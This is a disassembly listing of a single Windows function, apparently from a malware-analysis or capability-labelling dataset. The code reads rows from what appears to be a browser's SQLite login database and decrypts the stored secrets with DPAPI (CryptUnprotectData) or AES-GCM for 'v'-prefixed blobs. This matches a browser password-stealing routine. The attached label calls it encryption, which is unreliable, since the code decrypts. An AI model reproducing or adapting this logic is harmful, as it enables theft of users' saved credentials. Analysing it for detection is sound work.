Function at 0x140006640
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x8ec0
call fcn.1400c2ab0
sub rsp, rax
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x8eb0], rax
lea rax, [0x1400d7830]
mov qword [rsp + 0x398], rax
lea rax, [0x1400d78f0]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x370], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x378], rax
mov dword [rsp + 0x490], 0
jmp 0x1400066bd
mov eax, dword [rsp + 0x490]
inc eax
mov dword [rsp + 0x490], eax
movsxd rax, dword [rsp + 0x490]
cmp rax, 2
jae 0x14000670e
movsxd rax, dword [rsp + 0x490]
movsxd rcx, dword [rsp + 0x490]
mov dword [rsp + 0x28], 0xc8
mov rax, qword [rsp + rax*8 + 0x370]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 8
mov edx, dword [0x1400f36f4]
mov rcx, qword [rsp + rcx*8 + 0x398]
call fcn.14000e1b0
jmp 0x1400066ad
lea rax, [0x1400d79a0]
mov qword [rsp + 0x388], rax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x390], rax
mov dword [rsp + 0x494], 0
jmp 0x14000674a
mov eax, dword [rsp + 0x494]
inc eax
mov dword [rsp + 0x494], eax
movsxd rax, dword [rsp + 0x494]
cmp rax, 1
jae 0x14000679b
movsxd rax, dword [rsp + 0x494]
movsxd rcx, dword [rsp + 0x494]
mov dword [rsp + 0x28], 0xc8
mov rax, qword [rsp + rax*8 + 0x390]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 7
mov edx, dword [0x1400f36f8]
mov rcx, qword [rsp + rcx*8 + 0x388]
call fcn.14000e6a0
jmp 0x14000673a
mov dword [rsp + 0x3a8], 0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x3b0], 0
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
call fcn.140004fd0
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x380], 0
mov edx, 0x30d40
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x380], rax
cmp qword [rsp + 0x380], 0
je 0x140006e31
call fcn.1400046f0
mov qword [rsp + 0x498], rax
cmp qword [rsp + 0x498], 0
je 0x140006def
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d79e8]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov r9, qword [rsp + 0x498]
lea r8, [0x1400d678c]
mov edx, 0x7fff
lea rcx, [rsp + 0x4b0]
call fcn.1400c2f70
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x4b0]
call fcn.1400bd020
test eax, eax
jne 0x140006dad
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x84b0]
mov r8d, 0xffffffff
lea rdx, [rsp + 0x3c0]
mov rcx, qword [rsp + 0x4a0]
call fcn.140063f20
test eax, eax
jne 0x140006d67
mov rcx, qword [rsp + 0x84b0]
call fcn.140035dc0
cmp eax, 0x64
jne 0x140006d58
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d79f0]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
xor edx, edx
mov rcx, qword [rsp + 0x84b0]
call fcn.1400378f0
mov qword [rsp + 0x84c0], rax
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x84c0]
lea rdx, [0x1400d79f8]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov edx, 1
mov rcx, qword [rsp + 0x84b0]
call fcn.1400378f0
mov qword [rsp + 0x84c8], rax
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x84c8]
lea rdx, [0x1400d7a18]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov edx, 2
mov rcx, qword [rsp + 0x84b0]
call fcn.140037820
mov qword [rsp + 0x84b8], rax
mov rax, qword [rsp + 0x84b8]
movsx eax, byte [rax]
cmp eax, 0x76
je 0x140006b1e
mov dword [rsp + 0x88c0], 0x401
mov rax, qword [rsp + 0x84b8]
mov qword [rsp + 0x88c8], rax
lea rax, [rsp + 0x88d0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x88c0]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x140006a80
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d7a38]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
jmp 0x140006b19
mov eax, dword [rsp + 0x88d0]
mov rcx, qword [rsp + 0x88d8]
mov byte [rcx + rax], 0
mov dword [rsp + 0x28], 0x3e8
lea rax, [rsp + 0x84d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x88d8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea r8, [rsp + 0x84d0]
lea rdx, [0x1400d7a58]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov rcx, qword [rsp + 0x88d8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x140006d53
mov rax, qword [rsp + 0x84b8]
movsx eax, byte [rax]
cmp eax, 0x76
jne 0x140006d53
cmp qword [rsp + 0x3b0], 0
je 0x140006d53
mov r8d, 0x64
xor edx, edx
lea rcx, [rsp + 0x8d10]
call fcn.1400c2980
mov rax, qword [rsp + 0x84b8]
add rax, 3
mov r8d, 0xc
mov rdx, rax
lea rcx, [rsp + 0x8d10]
call fcn.1400c2b10
mov r8d, 0x64
xor edx, edx
lea rcx, [rsp + 0x8c90]
call fcn.1400c2980
mov edx, 2
mov rcx, qword [rsp + 0x84b0]
call fcn.1400376c0
mov dword [rsp + 0x88e0], eax
cmp dword [rsp + 0x88e0], 0
jne 0x140006bb5
jmp 0x1400068cb
mov eax, dword [rsp + 0x88e0]
sub eax, 0xf
mov dword [rsp + 0x88e0], eax
movsxd rax, dword [rsp + 0x88e0]
mov rcx, qword [rsp + 0x84b8]
add rcx, 0xf
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x8c90]
call fcn.1400c2b10
mov eax, dword [rsp + 0x88e0]
mov dword [rsp + 0x8d00], eax
call fcn.1400bfa50
mov dword [rsp + 0x8a20], 0
lea rax, [rsp + 0x8a28]
mov rdi, rax
xor eax, eax
mov ecx, 0x260
rep stosb byte [rdi], al
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x3b0]
lea rcx, [rsp + 0x8a20]
call fcn.1400bfa70
test eax, eax
je 0x140006c42
jmp 0x1400068cb
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xc
lea r8, [rsp + 0x8d10]
xor edx, edx
lea rcx, [rsp + 0x8a20]
call fcn.1400bfdf0
test eax, eax
je 0x140006c7a
jmp 0x1400068cb
mov r8d, 0x12c
xor edx, edx
lea rcx, [rsp + 0x88f0]
call fcn.1400c2980
movsxd rax, dword [rsp + 0x8d00]
lea r9, [rsp + 0x88f0]
lea r8, [rsp + 0x8c90]
mov rdx, rax
lea rcx, [rsp + 0x8a20]
call fcn.1400c05b0
test eax, eax
je 0x140006cc0
jmp 0x1400068cb
mov byte [rsp + 0x8d80], 0
lea rax, [rsp + 0x8d81]
mov rdi, rax
xor eax, eax
mov ecx, 0x12b
rep stosb byte [rdi], al
mov r8d, 0x12c
lea rdx, [rsp + 0x8d80]
lea rcx, [rsp + 0x8a20]
call fcn.1400c0900
mov eax, dword [rsp + 0x8d00]
sub eax, 0x10
cdqe
mov byte [rsp + rax + 0x88f0], 0
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea r8, [rsp + 0x88f0]
lea rdx, [0x1400d7a78]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x1400068cb
mov rcx, qword [rsp + 0x84b0]
call fcn.1400301d0
jmp 0x140006d9e
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea rdx, [rsp + 0x1e0]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov rcx, qword [rsp + 0x4a0]
call fcn.1400ba5d0
jmp 0x140006de1
movsxd rax, dword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
lea rax, [rcx + rax*2]
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x3a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8], eax
mov rcx, qword [rsp + 0x498]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rsp + 0x3b0], 0
je 0x140006e08
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
lea rax, [rax + rax + 2]
mov rcx, qword [rsp + 0x8ed0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x380]
jmp 0x140006e4c
cmp qword [rsp + 0x3b0], 0
je 0x140006e4a
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov rcx, qword [rsp + 0x8eb0]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x8ec0
pop rdi
ret